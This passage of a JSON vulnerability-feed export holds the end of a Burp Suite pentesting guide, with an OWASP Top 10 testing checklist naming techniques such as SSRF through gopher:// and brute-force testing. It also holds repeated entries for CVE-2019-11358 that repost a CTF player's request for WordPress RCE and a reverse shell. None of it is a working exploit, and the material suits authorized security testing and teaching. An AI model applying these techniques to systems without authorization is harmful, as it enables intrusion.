outputs\n  \u25a1 Command injection tested where input interacts with OS\n  \u25a1 SSTI tested on template-rendered outputs\n  \u25a1 LDAP injection tested on authentication/directory queries\n  \u25a1 NoSQL injection tested on MongoDB/CouchDB endpoints\n  \u25a1 Header injection / CRLF injection tested\n  \u25a1 XXE tested on XML-accepting endpoints\n  \u25a1 GraphQL injection tested (if applicable)\n\nA04: INSECURE DESIGN\n  \u25a1 Business logic flaws tested (negative values, boundary conditions)\n  \u25a1 Rate limiting verified on login, OTP, password reset\n  \u25a1 Multi-step process integrity tested (step skipping)\n  \u25a1 Race conditions tested with Turbo Intruder\n  \u25a1 Anti-automation controls verified (CAPTCHA effectiveness)\n  \u25a1 Resource exhaustion tested (large file upload, complex queries)\n  \u25a1 Referral/coupon/discount abuse tested\n\nA05: SECURITY MISCONFIGURATION\n  \u25a1 Default credentials tested (/admin, known defaults)\n  \u25a1 Security headers analyzed with CSP Auditor\n  \u25a1 Directory listing checked\n  \u25a1 Debug/test endpoints discovered with Param Miner\n  \u25a1 Verbose error messages triggered and analyzed\n  \u25a1 HTTP methods tested (OPTIONS, TRACE, PUT, DELETE)\n  \u25a1 CORS policy tested for misconfigurations\n  \u25a1 XXE enabled checked on XML parsers\n  \u25a1 Cloud metadata accessible checked\n  \u25a1 .git/.env/.DS_Store exposure checked\n\nA06: VULNERABLE COMPONENTS\n  \u25a1 Retire.js scan completed for client-side libraries\n  \u25a1 Server version headers documented\n  \u25a1 Framework fingerprinting completed\n  \u25a1 Known CVEs checked for all identified components\n  \u25a1 Software Vulnerability Scanner results reviewed\n  \u25a1 CMS/plugin versions checked (if applicable)\n\nA07: IDENTIFICATION AND AUTHENTICATION FAILURES\n  \u25a1 Username enumeration tested (different error messages)\n  \u25a1 Brute-force protection tested with Intruder\n  \u25a1 Password policy strength evaluated\n  \u25a1 Session fixation tested (token change after auth)\n  \u25a1 Session invalidation tested (logout, timeout)\n  \u25a1 \"Remember me\" token security analyzed\n  \u25a1 Multi-factor authentication bypass tested\n  \u25a1 Password reset flow security tested\n  \u25a1 Account lockout mechanism tested\n  \u25a1 OAuth/SSO implementation validated (if applicable)\n\nA08: SOFTWARE AND DATA INTEGRITY FAILURES\n  \u25a1 Serialized data in cookies/parameters identified\n  \u25a1 Deserialization vulnerabilities tested\n  \u25a1 ViewState integrity verified (ASP.NET)\n  \u25a1 Software update mechanisms reviewed\n  \u25a1 SRI (Subresource Integrity) checked on CDN resources\n  \u25a1 CI/CD pipeline security (if in scope)\n  \u25a1 Signed vs unsigned data distinguished\n\nA09: SECURITY LOGGING AND MONITORING FAILURES\n  \u25a1 Log injection tested\n  \u25a1 Failed login attempt alerting verified\n  \u25a1 Brute-force detection verified\n  \u25a1 Administrative action audit trail checked\n  \u25a1 Sensitive data in error messages/logs checked\n  \u25a1 Attack detection capability assessed\n\nA10: SERVER-SIDE REQUEST FORGERY\n  \u25a1 All URL input parameters tested for SSRF\n  \u25a1 Collaborator interaction detected from server\n  \u25a1 Internal network access tested (localhost, private IPs)\n  \u25a1 Cloud metadata endpoint access tested\n  \u25a1 Protocol handler tested (file://, gopher://, dict://)\n  \u25a1 SSRF filter bypass techniques tested\n  \u25a1 Blind SSRF with Collaborator confirmed\n\nPOST-ENGAGEMENT\n  \u25a1 All findings verified manually in Repeater\n  \u25a1 Evidence collected (screenshots, request/response pairs)\n  \u25a1 CVSS scores calculated for each finding\n  \u25a1 Report generated using Burp Reporter + manual write-up\n  \u25a1 Findings categorized by OWASP Top 10 category\n  \u25a1 Remediation recommendations included\n  \u25a1 Executive summary written\n  \u25a1 Report delivered securely to client\n  \u25a1 Test data and accounts cleaned up\n  \u25a1 Retest scheduled (if applicable)\n\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n```\n\n---\n\n## 14.6 Continuous Learning Resources\n\nTo stay current with evolving attack techniques and Burp Suite capabilities:\n\n| Resource | Description |\n|----------|-------------|\n| **PortSwigger Web Security Academy** | Free, comprehensive hands-on labs covering every OWASP category with Burp Suite |\n| **OWASP Testing Guide v4.2** | Detailed testing methodology for every vulnerability category |\n| **OWASP Web Security Testing Guide (WSTG)** | Step-by-step test cases mapped to OWASP categories |\n| **Burp Suite Documentation** | Official PortSwigger docs for all tools and extensions |\n| **BApp Store \"What's New\"** | Regular updates on new Burp extensions |\n| **PortSwigger Research Blog** | Cutting-edge research from the Burp Suite team (James Kettle et al.) |\n| **HackerOne Hacktivity** | Public bug bounty reports demonstrating real-world exploitation |\n| **PentesterLab** | Hands-on exercises for web vulnerability exploitation |\n| **OWASP Juice Shop** | Deliberately vulnerable application for practice |\n| **Damn Vulnerable Web Application (DVWA)** | Classic practice target for all injection categories |\n\n---\n\n## 14.7 Final Thoughts\n\nThe OWASP Top 10 represents the **minimum baseline** of web application security concerns that every developer, tester, and security professional must understand. Burp Suite, with its rich ecosystem of extensions, provides an unparalleled platform for systematically identifying, confirming, and documenting these vulnerabilities.\n\nKey takeaways from this guide:\n\n1. **Defense in depth matters.** No single control prevents all attacks. Applications need security at every layer \u2014 input validation, parameterized queries, output encoding, access controls, encryption, logging, and monitoring.\n\n2. **Automation is a starting point, not an endpoint.** Burp Scanner finds many issues, but the most critical vulnerabilities \u2014 business logic flaws, complex access control failures, chained attacks \u2014 require **manual human analysis** using Repeater, Intruder, and specialized extensions.\n\n3. **Context is everything.** A vulnerability's severity depends on the application's context. An IDOR exposing public blog posts is informational. An IDOR exposing medical records is critical. Always assess impact from the **business perspective**.\n\n4. **Responsible disclosure saves lives.** The techniques in this guide are powerful. Use them only with authorization. Report findings promptly and professionally. Work with development teams to verify fixes. The goal is always to **make the internet safer** for everyone.\n\n5. **Never stop learning.** Web security evolves constantly. New frameworks introduce new attack surfaces. New defenses require new bypass techniques. The PortSwigger Web Security Academy, OWASP resources, and active participation in the security community are your best ongoing educational investments.\n\n6. **Chain vulnerabilities for maximum impact.** Individual medium-severity findings can combine into critical attack chains. Always think about how vulnerabilities interact with each other. Document chains explicitly in your reports \u2014 they demonstrate real-world risk far better than isolated findings.\n\n7. **Quality over quantity in reporting.** A well-documented critical finding with clear reproduction steps, business impact analysis, and actionable remediation advice is worth more than fifty vague informational findings. Use Burp's evidence collection features extensively and organize your findings with Organizer before writing the final report.\n\n---\n\n> **\u26a0\ufe0f FINAL ETHICAL REMINDER:** Every technique described in this guide must be applied **only** within the boundaries of authorized engagements \u2014 whether that's a formal penetration test with a signed statement of work, a bug bounty program with defined scope, or your own deliberately vulnerable lab environment. **Unauthorized access to computer systems is a crime in virtually every jurisdiction worldwide.** Be ethical. Be professional. Be the defender.\n\n---\n\n*This guide was prepared as an educational resource covering the OWASP Top 10 (2021 edition) with practical exploitation and reporting methodology using Burp Suite Professional and its extension ecosystem. For the latest OWASP updates, visit [owasp.org](https://owasp.org). For Burp Suite documentation, visit [portswigger.net](https://portswigger.net).*", "creation_timestamp": "2026-08-25T15:53:29.668288Z"}, {"uuid": "4c7419b5-e06c-43a6-ac52-069de194ff1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/hacking_Attack/85576", "content": "hacking: security in practice\nWP 5.9.2 - prototype Pollution?\n\n1. I;m doing a ctf and enumerated the targed & found 2 user password for the wp -admin via xml-rpc.\n2. 2 SHH cert. file auth only, trying to find the vulnerability that levrage rce, maybe someone here has any solutions? I metion that the one of the 2 users has some administrative priv. (like accepting/deny posts).\n3. found db info(db_name, DB-user, DB-pass) but it listens on local so cant get access\n4. \npastebin wp-scan link here\n\n5. \ninfo links:\nhttps://www.tenable.com/plugins/was/113193\n\nhttps://security.snyk.io/vuln/SNYK-JS-JQUERY-174006\n\nhttps://www.wordfence.com/blog/2022/03/wordpress-5-9-2-security-update-fixes-xss-and-prototype-pollution-vulnerabilities/\n\nhttps://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H\n\nhttps://vulmon.com/vulnerabilitydetails?qid=CVE-2019-11358&scoretype=cvssv3\n\nAny help is much appreciated!!\n\nsubmitted by /u/wildmuffincake420 \n[link] [comments]", "creation_timestamp": "2026-09-01T20:01:06.748399Z"}, {"uuid": "e8b1c3e3-7e65-488e-b0eb-22fa63c432cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/hacking_Attack/85578", "content": "hacking: security in practice\nWordpress 5.9.2 RCE?\n\n1. I;m doing a ctf and enumerated the targed & found 2 user password for the wp -admin via xml-rpc.\n2. 2 SHH cert. file auth only, trying to find the vulnerability that levrage rce(reverse shell), maybe someone here has any solutions? I metion that the one of the 2 users has some administrative priv. (like accepting/deny posts).\n3. found db info(db_name, DB-user, DB-pass) but it listens on local so cant get access\n4. pastebin wp-scan link here\n5. info links:\n\nhttps://www.tenable.com/plugins/was/113193\n\nhttps://security.snyk.io/vuln/SNYK-JS-JQUERY-174006\n\nhttps://www.wordfence.com/blog/2022/03/wordpress-5-9-2-security-update-fixes-xss-and-prototype-pollution-vulnerabilities/\n\nhttps://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H\n\nhttps://vulmon.com/vulnerabilitydetails?qid=CVE-2019-11358&scoretype=cvssv3\n\nAny help is much appreciated!!\n\nsubmitted by /u/wildmuffincake420 \n[link] [comments]", "creation_timestamp": "2026-09-01T20:01:06.778266Z"}, {"uuid": "5e7a31a0-0a31-4a2e-b6fc-a694b7bc5a36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/hacking_Attack/85576", "content": "hacking: security in practice\nWP 5.9.2 - prototype Pollution?\n\n1. I;m doing a ctf and enumerated the targed & found 2 user password for the wp -admin via xml-rpc.\n2. 2 SHH cert. file auth only, trying to find the vulnerability that levrage rce, maybe someone here has any solutions? I metion that the one of the 2 users has some administrative priv. (like accepting/deny posts).\n3. found db info(db_name, DB-user, DB-pass) but it listens on local so cant get access\n4. \npastebin wp-scan link here\n\n5. \ninfo links:\nhttps://www.tenable.com/plugins/was/113193\n\nhttps://security.snyk.io/vuln/SNYK-JS-JQUERY-174006\n\nhttps://www.wordfence.com/blog/2022/03/wordpress-5-9-2-security-update-fixes-xss-and-prototype-pollution-vulnerabilities/\n\nhttps://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H\n\nhttps://vulmon.com/vulnerabilitydetails?qid=CVE-2019-11358&scoretype=cvssv3\n\nAny help is much appreciated!!\n\nsubmitted by /u/wildmuffincake420 \n[link] [comments]", "creation_timestamp": "2026-09-02T01:01:27.551442Z"}, {"uuid": "fc26a97c-7083-40c5-8f8e-bf57042709fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/hacking_Attack/85578", "content": "hacking: security in practice\nWordpress 5.9.2 RCE?\n\n1. I;m doing a ctf and enumerated the targed & found 2 user password for the wp -admin via xml-rpc.\n2. 2 SHH cert. file auth only, trying to find the vulnerability that levrage rce(reverse shell), maybe someone here has any solutions? I metion that the one of the 2 users has some administrative priv. (like accepting/deny posts).\n3. found db info(db_name, DB-user, DB-pass) but it listens on local so cant get access\n4. pastebin wp-scan link here\n5. info links:\n\nhttps://www.tenable.com/plugins/was/113193\n\nhttps://security.snyk.io/vuln/SNYK-JS-JQUERY-174006\n\nhttps://www.wordfence.com/blog/2022/03/wordpress-5-9-2-security-update-fixes-xss-and-prototype-pollution-vulnerabilities/\n\nhttps://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H\n\nhttps://vulmon.com/vulnerabilitydetails?qid=CVE-2019-11358&scoretype=cvssv3\n\nAny help is much appreciated!!\n\nsubmitted by /u/wildmuffincake420 \n[link] [comments]", "creation_timestamp": "2026-09-02T01:01:27.598366Z"}]}